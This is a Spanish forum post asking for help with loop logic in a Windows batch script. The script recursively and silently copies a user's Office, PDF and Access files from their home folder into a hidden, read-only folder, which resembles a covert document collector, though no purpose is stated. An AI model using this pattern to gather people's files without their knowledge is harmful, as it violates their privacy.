mmmm....
No me termina de servir, porque tu implementación solo encuentra una coincidencia sale del FOR y se va al :found, yo quisiera que se quedara dentro del FOR, te pongo el código para que lo veas.
@echo off
set ruta=%~dp0
set save=%ruta%save
if not exist "%save%" (
mkdir "%save%" > nul
attrib +R +H "%save%" > nul
)
%HOMEDRIVE% > nul
cd %HOMEPATH% > nul
for /R %%x in (*.*) do (
if "%%~xx" == ".xls" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".xlsx" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".doc" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".docx" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".pdf" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".mdb" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
) else (
if "%%~xx" == ".accdb" (
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
)
)
)
)
)
)
)
) > nul
exit /b 0
Si utilizo tu código se saldría del for con la primera coincidencia, y no creo que con otro GOTO hacia dentro del FOR funcione, así que o existe otra opción o creo que se quedará así, aunque no veo lógico que no se pueda hacer una combinación lógica dentro de un IF.
*** EDITO ***
Estoy probando otra cosa, en la cual uso tu código.
for /R %%x in (*) do (
for %%e in (.xls, .xlsx, .doc, .docx .pdf .mdb .accdb) do (
echo %%x | findstr /i "%%e\>" && goto found
goto nofound
:found
copy "%%x" "%save%\%%~nx%%~xx" /Y > nul
:nofound
) > nul
) > nul
Y el problema que surge en este caso, es que después de la etiqueta :nofound da un error:
La sintaxis del comando no es correcta..
La idea es que si no coincide que continue en la ejecución del bucle, pero da ese error, y ahora mismo no se me ocurre como hacer una combinación de goto's para que funcione bien.
Saludos.